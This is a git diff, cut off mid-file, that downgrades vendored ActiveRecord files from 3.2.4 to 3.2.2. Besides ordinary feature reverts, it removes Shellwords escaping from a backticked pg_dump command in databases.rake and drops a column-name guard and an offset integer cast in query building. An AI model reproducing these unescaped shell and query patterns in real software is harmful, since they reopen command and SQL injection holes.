a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/dynamic_finder_match.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/dynamic_finder_match.rb @@ -18,10 +18,6 @@ module ActiveRecord when /^find_by_([_a-zA-Z]\w*)\!$/ bang = true names = $1 - when /^find_or_create_by_([_a-zA-Z]\w*)\!$/ - bang = true - instantiator = :create - names = $1 when /^find_or_(initialize|create)_by_([_a-zA-Z]\w*)$/ instantiator = $1 == 'initialize' ? :new : :create names = $2 @@ -56,13 +52,5 @@ module ActiveRecord def bang? @bang end - - def save_record? - @instantiator == :create - end - - def save_method - bang? ? :save! : :save - end end end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/dynamic_matchers.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/dynamic_matchers.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/dynamic_matchers.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/dynamic_matchers.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/dynamic_scope_match.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/dynamic_scope_match.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/dynamic_scope_match.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/dynamic_scope_match.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/errors.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/errors.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/errors.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/errors.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/explain.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/explain.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/explain.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/explain.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/explain_subscriber.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/explain_subscriber.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/explain_subscriber.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/explain_subscriber.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/fixtures.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/fixtures.rb similarity index 94% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/fixtures.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/fixtures.rb index 7a5634f225..d8340bf1c9 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/fixtures.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/fixtures.rb @@ -419,15 +419,11 @@ module ActiveRecord cache_for_connection(connection).update(fixtures_map) end - #-- - # TODO:NOTE: in the next version, the __with_new_arity suffix and - # the method with the old arity will be removed. - #++ - def self.instantiate_fixtures__with_new_arity(object, fixture_set, load_instances = true) # :nodoc: + def self.instantiate_fixtures(object, fixture_name, fixtures, load_instances = true) if load_instances - fixture_set.each do |fixture_name, fixture| + fixtures.each do |name, fixture| begin - object.instance_variable_set "@#{fixture_name}", fixture.find + object.instance_variable_set "@#{name}", fixture.find rescue FixtureClassNotFound nil end @@ -435,24 +431,9 @@ module ActiveRecord end end - # The use with parameters (object, fixture_set_name, fixture_set, load_instances = true) is deprecated, +fixture_set_name+ parameter is not used. - # Use as: - # - # instantiate_fixtures(object, fixture_set, load_instances = true) - def self.instantiate_fixtures(object, fixture_set, load_instances = true, rails_3_2_compatibility_argument = true) - unless load_instances == true || load_instances == false - ActiveSupport::Deprecation.warn( - "ActiveRecord::Fixtures.instantiate_fixtures with parameters (object, fixture_set_name, fixture_set, load_instances = true) is deprecated and shall be removed from future releases. Use it with parameters (object, fixture_set, load_instances = true) instead (skip fixture_set_name).", - caller) - fixture_set = load_instances - load_instances = rails_3_2_compatibility_argument - end - instantiate_fixtures__with_new_arity(object, fixture_set, load_instances) - end - def self.instantiate_all_loaded_fixtures(object, load_instances = true) - all_loaded_fixtures.each_value do |fixture_set| - ActiveRecord::Fixtures.instantiate_fixtures(object, fixture_set, load_instances) + all_loaded_fixtures.each do |table_name, fixtures| + ActiveRecord::Fixtures.instantiate_fixtures(object, table_name, fixtures, load_instances) end end @@ -678,6 +659,9 @@ module ActiveRecord "#{@fixture_path}.yml" end + def yaml_fixtures_key(path) + ::File.basename(@fixture_path).split(".").first + end end class Fixture #:nodoc: @@ -909,8 +893,8 @@ module ActiveRecord ActiveRecord::Fixtures.instantiate_all_loaded_fixtures(self, load_instances?) else raise RuntimeError, 'Load fixtures before instantiating them.' if @loaded_fixtures.nil? - @loaded_fixtures.each_value do |fixture_set| - ActiveRecord::Fixtures.instantiate_fixtures(self, fixture_set, load_instances?) + @loaded_fixtures.each do |fixture_name, fixtures| + ActiveRecord::Fixtures.instantiate_fixtures(self, fixture_name, fixtures, load_instances?) end end end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/fixtures/file.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/fixtures/file.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/fixtures/file.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/fixtures/file.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/identity_map.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/identity_map.rb similarity index 96% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/identity_map.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/identity_map.rb index b1da547142..680d9ffea0 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/identity_map.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/identity_map.rb @@ -90,7 +90,7 @@ module ActiveRecord end def add(record) - repository[record.class.symbolized_sti_name][record.id] = record if contain_all_columns?(record) + repository[record.class.symbolized_sti_name][record.id] = record end def remove(record) @@ -104,12 +104,6 @@ module ActiveRecord def clear repository.clear end - - private - - def contain_all_columns?(record) - (record.class.column_names - record.attribute_names).empty? - end end # Reinitialize an Identity Map model object from +coder+. diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/inheritance.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/inheritance.rb similarity index 91% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/inheritance.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/inheritance.rb index 3e12a67c2a..de9461982a 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/inheritance.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/inheritance.rb @@ -63,7 +63,15 @@ module ActiveRecord record_id = sti_class.primary_key && record[sti_class.primary_key] if ActiveRecord::IdentityMap.enabled? && record_id - instance = use_identity_map(sti_class, record_id, record) + if (column = sti_class.columns_hash[sti_class.primary_key]) && column.number? + record_id = record_id.to_i + end + if instance = IdentityMap.get(sti_class, record_id) + instance.reinit_with('attributes' => record) + else + instance = sti_class.allocate.init_with('attributes' => record) + IdentityMap.add(instance) + end else instance = sti_class.allocate.init_with('attributes' => record) end @@ -114,21 +122,6 @@ module ActiveRecord private - def use_identity_map(sti_class, record_id, record) - if (column = sti_class.columns_hash[sti_class.primary_key]) && column.number? - record_id = record_id.to_i - end - - if instance = IdentityMap.get(sti_class, record_id) - instance.reinit_with('attributes' => record) - else - instance = sti_class.allocate.init_with('attributes' => record) - IdentityMap.add(instance) - end - - instance - end - def find_sti_class(type_name) if type_name.blank? || !columns_hash.include?(inheritance_column) self diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/integration.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/integration.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/integration.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/integration.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/locale/en.yml b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/locale/en.yml similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/locale/en.yml rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/locale/en.yml diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/locking/optimistic.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/locking/optimistic.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/locking/optimistic.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/locking/optimistic.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/locking/pessimistic.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/locking/pessimistic.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/locking/pessimistic.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/locking/pessimistic.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/log_subscriber.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/log_subscriber.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/log_subscriber.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/log_subscriber.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/migration.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/migration.rb similarity index 97% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/migration.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/migration.rb index e6686597b7..fb25754f56 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/migration.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/migration.rb @@ -346,24 +346,12 @@ module ActiveRecord @name = self.class.name @version = nil @connection = nil - @reverting = false end # instantiate the delegate object after initialize is defined self.verbose = true self.delegate = new - def revert - @reverting = true - yield - ensure - @reverting = false - end - - def reverting? - @reverting - end - def up self.class.delegate = self return unless self.class.respond_to?(:up) @@ -397,11 +385,9 @@ module ActiveRecord end @connection = conn time = Benchmark.measure { - self.revert { - recorder.inverse.each do |cmd, args| - send(cmd, *args) - end - } + recorder.inverse.each do |cmd, args| + send(cmd, *args) + end } else time = Benchmark.measure { change } @@ -456,11 +442,9 @@ module ActiveRecord arg_list = arguments.map{ |a| a.inspect } * ', ' say_with_time "#{method}(#{arg_list})" do - unless reverting? - unless arguments.empty? || method == :execute - arguments[0] = Migrator.proper_table_name(arguments.first) - arguments[1] = Migrator.proper_table_name(arguments.second) if method == :rename_table - end + unless arguments.empty? || method == :execute + arguments[0] = Migrator.proper_table_name(arguments.first) + arguments[1] = Migrator.proper_table_name(arguments.second) if method == :rename_table end return super unless connection.respond_to?(method) connection.send(method, *arguments, &block) diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/migration/command_recorder.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/migration/command_recorder.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/migration/command_recorder.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/migration/command_recorder.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/model_schema.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/model_schema.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/model_schema.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/model_schema.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/nested_attributes.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/nested_attributes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/nested_attributes.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/nested_attributes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/observer.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/observer.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/observer.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/observer.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/persistence.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/persistence.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/persistence.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/persistence.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/query_cache.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/query_cache.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/query_cache.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/query_cache.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/querying.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/querying.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/querying.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/querying.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/railtie.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/railtie.rb similarity index 93% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/railtie.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/railtie.rb index 13b7c6e214..08cf9fb504 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/railtie.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/railtie.rb @@ -72,13 +72,7 @@ module ActiveRecord # and then establishes the connection. initializer "active_record.initialize_database" do |app| ActiveSupport.on_load(:active_record) do - db_connection_type = "DATABASE_URL" - unless ENV['DATABASE_URL'] - db_connection_type = "database.yml" - self.configurations = app.config.database_configuration - end - Rails.logger.info "Connecting to database specified by #{db_connection_type}" - + self.configurations = app.config.database_configuration establish_connection end end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/railties/console_sandbox.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/railties/console_sandbox.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/railties/console_sandbox.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/railties/console_sandbox.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/railties/controller_runtime.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/railties/controller_runtime.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/railties/controller_runtime.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/railties/controller_runtime.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/railties/databases.rake b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/railties/databases.rake similarity index 99% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/railties/databases.rake rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/railties/databases.rake index abdd935bdc..b94df4262a 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/railties/databases.rake +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/railties/databases.rake @@ -387,9 +387,9 @@ db_namespace = namespace :db do set_psql_env(abcs[Rails.env]) search_path = abcs[Rails.env]['schema_search_path'] unless search_path.blank? - search_path = search_path.split(",").map{|search_path_part| "--schema=#{Shellwords.escape(search_path_part.strip)}" }.join(" ") + search_path = search_path.split(",").map{|search_path_part| "--schema=#{search_path_part.strip}" }.join(" ") end - `pg_dump -i -s -x -O -f #{Shellwords.escape(filename)} #{search_path} #{Shellwords.escape(abcs[Rails.env]['database'])}` + `pg_dump -i -s -x -O -f #{filename} #{search_path} #{abcs[Rails.env]['database']}` raise 'Error dumping database' if $?.exitstatus == 1 when /sqlite/ dbfile = abcs[Rails.env]['database'] @@ -407,7 +407,6 @@ db_namespace = namespace :db do if ActiveRecord::Base.connection.supports_migrations? File.open(filename, "a") { |f| f << ActiveRecord::Base.connection.dump_schema_information } end - db_namespace['structure:dump'].reenable end # desc "Recreate the databases from the structure.sql file" diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/railties/jdbcmysql_error.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/railties/jdbcmysql_error.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/railties/jdbcmysql_error.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/railties/jdbcmysql_error.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/readonly_attributes.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/readonly_attributes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/readonly_attributes.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/readonly_attributes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/reflection.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/reflection.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/reflection.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/reflection.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation.rb similarity index 99% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation.rb index 4b3b30d6ed..8c56072337 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation.rb @@ -403,8 +403,6 @@ module ActiveRecord # If you need to destroy dependent associations or call your before_* or # +after_destroy+ callbacks, use the +destroy_all+ method instead. def delete_all(conditions = nil) - raise ActiveRecordError.new("delete_all doesn't support limit scope") if self.limit_value - IdentityMap.repository[symbolized_base_class] = {} if IdentityMap.enabled? if conditions where(conditions).delete_all diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation/batches.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation/batches.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation/batches.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation/batches.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation/calculations.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation/calculations.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation/calculations.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation/calculations.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation/delegation.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation/delegation.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation/delegation.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation/delegation.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation/finder_methods.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation/finder_methods.rb similarity index 99% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation/finder_methods.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation/finder_methods.rb index 4737a194f0..0305e561c8 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation/finder_methods.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation/finder_methods.rb @@ -185,9 +185,10 @@ module ActiveRecord # Person.exists?(['name LIKE ?', "%#{query}%"]) # Person.exists? def exists?(id = false) - id = id.id if ActiveRecord::Base === id return false if id.nil? + id = id.id if ActiveRecord::Base === id + join_dependency = construct_join_dependency_for_association_find relation = construct_relation_for_association_find(join_dependency) relation = relation.except(:select, :order).select("1").limit(1) @@ -289,7 +290,7 @@ module ActiveRecord r.assign_attributes(unprotected_attributes_for_create, :without_protection => true) end yield(record) if block_given? - record.send(match.save_method) if match.save_record? + record.save if match.instantiator == :create end record diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation/predicate_builder.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation/predicate_builder.rb similarity index 90% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation/predicate_builder.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation/predicate_builder.rb index 9c84d8a6d5..a789f48725 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation/predicate_builder.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation/predicate_builder.rb @@ -1,16 +1,16 @@ module ActiveRecord class PredicateBuilder # :nodoc: - def self.build_from_hash(engine, attributes, default_table, check_column = true) + def self.build_from_hash(engine, attributes, default_table) predicates = attributes.map do |column, value| table = default_table if value.is_a?(Hash) table = Arel::Table.new(column, engine) - build_from_hash(engine, value, table, false) + build_from_hash(engine, value, table) else column = column.to_s - if check_column && column.include?('.') + if column.include?('.') table_name, column = column.split('.', 2) table = Arel::Table.new(table_name, engine) end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation/query_methods.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation/query_methods.rb similarity index 99% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation/query_methods.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation/query_methods.rb index f5bfa3603a..fab2cd77f0 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation/query_methods.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation/query_methods.rb @@ -270,7 +270,7 @@ module ActiveRecord arel.having(*@having_values.uniq.reject{|h| h.blank?}) unless @having_values.empty? arel.take(connection.sanitize_limit(@limit_value)) if @limit_value - arel.skip(@offset_value.to_i) if @offset_value + arel.skip(@offset_value) if @offset_value arel.group(*@group_values.uniq.reject{|g| g.blank?}) unless @group_values.empty? diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation/spawn_methods.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation/spawn_methods.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/relation/spawn_methods.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/relation/spawn_methods.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/result.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/result.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/result.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/result.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/sanitization.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/sanitization.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/sanitization.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/sanitization.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/schema.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/schema.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/schema.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/schema.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/schema_dumper.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/schema_dumper.rb similarity index 98% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/schema_dumper.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/schema_dumper.rb index 6dc07a6d04..cdde5cf3b9 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/schema_dumper.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/schema_dumper.rb @@ -40,7 +40,7 @@ module ActiveRecord def header(stream) define_params = @version ? ":version => #{@version}" : "" - if stream.respond_to?(:external_encoding) && stream.external_encoding + if stream.respond_to?(:external_encoding) stream.puts "# encoding: #{stream.external_encoding.name}" end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/scoping.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/scoping.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/scoping.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/scoping.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/scoping/default.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/scoping/default.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/scoping/default.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/scoping/default.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/scoping/named.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/scoping/named.rb similarity index 98% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/scoping/named.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/scoping/named.rb index d6b0265fb3..0edc3f1dcc 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/scoping/named.rb +++ 